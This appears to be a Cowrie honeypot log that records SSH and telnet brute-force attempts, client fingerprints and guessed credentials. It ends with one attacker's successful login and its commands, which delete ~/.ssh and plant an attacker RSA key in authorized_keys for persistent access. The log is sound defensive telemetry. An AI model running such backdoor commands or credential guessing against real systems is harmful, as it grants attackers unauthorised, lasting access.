{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:36:21.818283Z","src_ip":"190.6.32.107","session":"0ed45b025948","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12344321","message":"login attempt [root/12344321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:36:22.073230Z","src_ip":"190.6.32.107","session":"0ed45b025948","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:36:23.134315Z","src_ip":"190.6.32.107","session":"0ed45b025948","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.194.4.255","src_port":37994,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d5640f50a8b","protocol":"ssh","message":"New connection: 4.194.4.255:37994 (159.203.135.109:22) [session: 7d5640f50a8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:36:32.021195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:36:32.026528Z","src_ip":"4.194.4.255","session":"7d5640f50a8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:36:32.263729Z","src_ip":"4.194.4.255","session":"7d5640f50a8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gittest","password":"gittest","message":"login attempt [gittest/gittest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:36:33.241409Z","src_ip":"4.194.4.255","session":"7d5640f50a8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.50.25.190","src_port":33572,"dst_ip":"159.203.135.109","dst_port":22,"session":"294f027a4379","protocol":"ssh","message":"New connection: 27.50.25.190:33572 (159.203.135.109:22) [session: 294f027a4379]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:36:33.287012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:36:33.291766Z","src_ip":"27.50.25.190","session":"294f027a4379","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:36:33.519015Z","src_ip":"27.50.25.190","session":"294f027a4379","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"P@ssw0rd123","message":"login attempt [user/P@ssw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:36:34.458380Z","src_ip":"27.50.25.190","session":"294f027a4379","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:36:34.479915Z","src_ip":"4.194.4.255","session":"7d5640f50a8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":56728,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba3ee610b586","protocol":"telnet","message":"New connection: 69.4.83.194:56728 (159.203.135.109:23) [session: ba3ee610b586]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:36:35.046901Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:36:35.688632Z","src_ip":"27.50.25.190","session":"294f027a4379","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.18.161.165","src_port":39938,"dst_ip":"159.203.135.109","dst_port":22,"session":"10696aec842c","protocol":"ssh","message":"New connection: 182.18.161.165:39938 (159.203.135.109:22) [session: 10696aec842c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:36:39.808137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:36:39.813107Z","src_ip":"182.18.161.165","session":"10696aec842c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:36:40.027172Z","src_ip":"182.18.161.165","session":"10696aec842c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":45614,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca3ac4a56667","protocol":"ssh","message":"New connection: 87.251.79.125:45614 (10.17.0.5:22) [session: ca3ac4a56667]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:36:40.353063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:36:40.358202Z","src_ip":"87.251.79.125","session":"ca3ac4a56667","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:36:40.432626Z","src_ip":"87.251.79.125","session":"ca3ac4a56667","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oleg12345","message":"login attempt [root/oleg12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:36:40.657026Z","src_ip":"87.251.79.125","session":"ca3ac4a56667","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sara","password":"sara123","message":"login attempt [sara/sara123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:36:40.913986Z","src_ip":"182.18.161.165","session":"10696aec842c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:36:41.732974Z","src_ip":"87.251.79.125","session":"ca3ac4a56667","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:36:42.130471Z","src_ip":"182.18.161.165","session":"10696aec842c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":34340,"dst_ip":"159.203.135.109","dst_port":23,"session":"01a35afa28ad","protocol":"telnet","message":"New connection: 69.4.83.194:34340 (159.203.135.109:23) [session: 01a35afa28ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:36:50.468410Z"}
{"eventid":"cowrie.session.connect","src_ip":"106.243.250.115","src_port":55342,"dst_ip":"159.203.135.109","dst_port":22,"session":"efbf011e01e2","protocol":"ssh","message":"New connection: 106.243.250.115:55342 (159.203.135.109:22) [session: efbf011e01e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:00.607867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:00.617400Z","src_ip":"106.243.250.115","session":"efbf011e01e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:00.826154Z","src_ip":"106.243.250.115","session":"efbf011e01e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"caroline","message":"login attempt [root/caroline] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:01.684452Z","src_ip":"106.243.250.115","session":"efbf011e01e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:02.895309Z","src_ip":"106.243.250.115","session":"efbf011e01e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.61281895637512,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:07.659592Z","src_ip":"69.4.83.194","session":"ba3ee610b586","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.178.94.210","src_port":60124,"dst_ip":"159.203.135.109","dst_port":22,"session":"66f010cc83bc","protocol":"ssh","message":"New connection: 180.178.94.210:60124 (159.203.135.109:22) [session: 66f010cc83bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:17.397484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:17.402660Z","src_ip":"180.178.94.210","session":"66f010cc83bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:17.682312Z","src_ip":"180.178.94.210","session":"66f010cc83bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":45172,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e95190fd9cf","protocol":"telnet","message":"New connection: 69.4.83.194:45172 (159.203.135.109:23) [session: 9e95190fd9cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:18.578632Z"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle321","message":"login attempt [oracle/oracle321] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:18.801374Z","src_ip":"180.178.94.210","session":"66f010cc83bc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:19.359555Z","src_ip":"180.178.94.210","session":"66f010cc83bc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:19.363342Z","src_ip":"180.178.94.210","session":"66f010cc83bc","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:19.367399Z","src_ip":"180.178.94.210","session":"66f010cc83bc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:19.882509Z","src_ip":"180.178.94.210","session":"66f010cc83bc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:20.189286Z","src_ip":"180.178.94.210","session":"66f010cc83bc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:20.192978Z","src_ip":"180.178.94.210","session":"66f010cc83bc","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:37:20.456905Z","src_ip":"180.178.94.210","session":"66f010cc83bc","protocol":"ssh"}
